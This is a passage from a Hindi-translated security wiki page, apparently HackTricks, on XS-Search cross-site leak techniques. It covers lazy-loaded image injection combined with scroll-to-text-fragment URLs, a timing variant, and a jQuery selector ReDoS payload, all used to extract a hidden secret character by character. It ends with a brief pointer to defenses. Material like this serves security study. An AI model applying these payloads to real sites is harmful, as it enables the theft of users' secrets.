हालाँकि, यदि किसी भी कारण से आपको चर द्वारा चर करना अनिवार्य है (शायद संचार कैश हिट के माध्यम से है) तो आप इस ट्रिक का उपयोग कर सकते हैं।

HTML में छवियों में एक "loading" विशेषता होती है जिसका मान "lazy" हो सकता है। इस मामले में, छवि तब लोड होगी जब इसे देखा जाएगा और पृष्ठ लोड होने के दौरान नहीं:

<img src=/something loading=lazy >

इसलिए, आप जो कर सकते हैं वह है कई जंक कैरेक्टर्स जोड़ना (उदाहरण के लिए हजारों "W") गुप्त के पहले वेब पेज को भरने के लिए या कुछ ऐसा जोड़ना जैसे <br><canvas height="1850px"></canvas><br>.
फिर यदि उदाहरण के लिए हमारी इंजेक्शन ध्वज के पहले दिखाई देती है, तो छवि लोड होगी, लेकिन यदि ध्वज के बाद दिखाई देती है, तो ध्वज + जंक इसे लोड होने से रोक देगा (आपको यह तय करने के लिए खेलना होगा कि कितनी जंक डालनी है)। यही इस लेख में हुआ।

एक और विकल्प होगा स्क्रॉल-टू-टेक्स्ट-फ्रैगमेंट का उपयोग करना यदि अनुमति हो:

Scroll-to-text-fragment

हालांकि, आप बॉट को पृष्ठ तक पहुँचने के लिए कुछ ऐसा करते हैं

#:~:text=SECR

So the web page will be something like: https://victim.com/post.html#:~:text=SECR

जहाँ post.html में हमलावर के जंक कैरेक्टर्स और लेज़ी लोड इमेज होती है और फिर बॉट का रहस्य जोड़ा जाता है।

यह टेक्स्ट बॉट को पेज में किसी भी टेक्स्ट तक पहुँचने के लिए बनाएगा जो टेक्स्ट SECR को शामिल करता है। चूंकि वह टेक्स्ट रहस्य है और यह इमेज के ठीक नीचे है, इमेज केवल तभी लोड होगी जब अनुमानित रहस्य सही होगा। तो आपके पास रहस्य को कैरेक्टर द्वारा कैरेक्टर निकालने के लिए आपका ओरेकल है।

Some code example to exploit this: https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e

Image Lazy Loading Time Based

यदि बाहरी इमेज लोड करना संभव नहीं है जो हमलावर को यह संकेत दे सके कि इमेज लोड हो गई है, तो एक और विकल्प होगा कि कई बार कैरेक्टर का अनुमान लगाने की कोशिश करें और उसे मापें। यदि इमेज लोड होती है तो सभी अनुरोधों में अधिक समय लगेगा बनिस्बत इसके कि इमेज लोड नहीं होती। यही इस लेख के समाधान में संक्षेप में उपयोग किया गया था:

{% content-ref url="xs-search/event-loop-blocking-+-lazy-images.md" %} event-loop-blocking-+-lazy-images.md {% endcontent-ref %}

ReDoS

{% content-ref url="regular-expression-denial-of-service-redos.md" %} regular-expression-denial-of-service-redos.md {% endcontent-ref %}

CSS ReDoS

यदि jQuery(location.hash) का उपयोग किया जाता है, तो यह समय के माध्यम से पता लगाना संभव है यदि कुछ HTML सामग्री मौजूद है, यह इस कारण से है कि यदि चयनकर्ता main[id='site-main'] मेल नहीं खाता है तो इसे बाकी चयनकर्ताओं की जांच करने की आवश्यकता नहीं है:

$("*:has(*:has(*:has(*)) *:has(*:has(*:has(*))) *:has(*:has(*:has(*)))) main[id='site-main']")

CSS Injection

{% content-ref url="xs-search/css-injection/" %} css-injection {% endcontent-ref %}

Defenses

इन तकनीकों से बचाव के लिए https://xsinator.com/paper.pdf में अनुशंसित उपाय हैं और प्रत्येक अनुभाग में https://xsleaks.dev/ पर भी। इन तकनीकों से बचने के लिए अधिक जानकारी के लिए वहां देखें।

References

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}


Use Trickest to easily build and automate workflows powered by the world's most advanced community tools.
Get Access Today:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}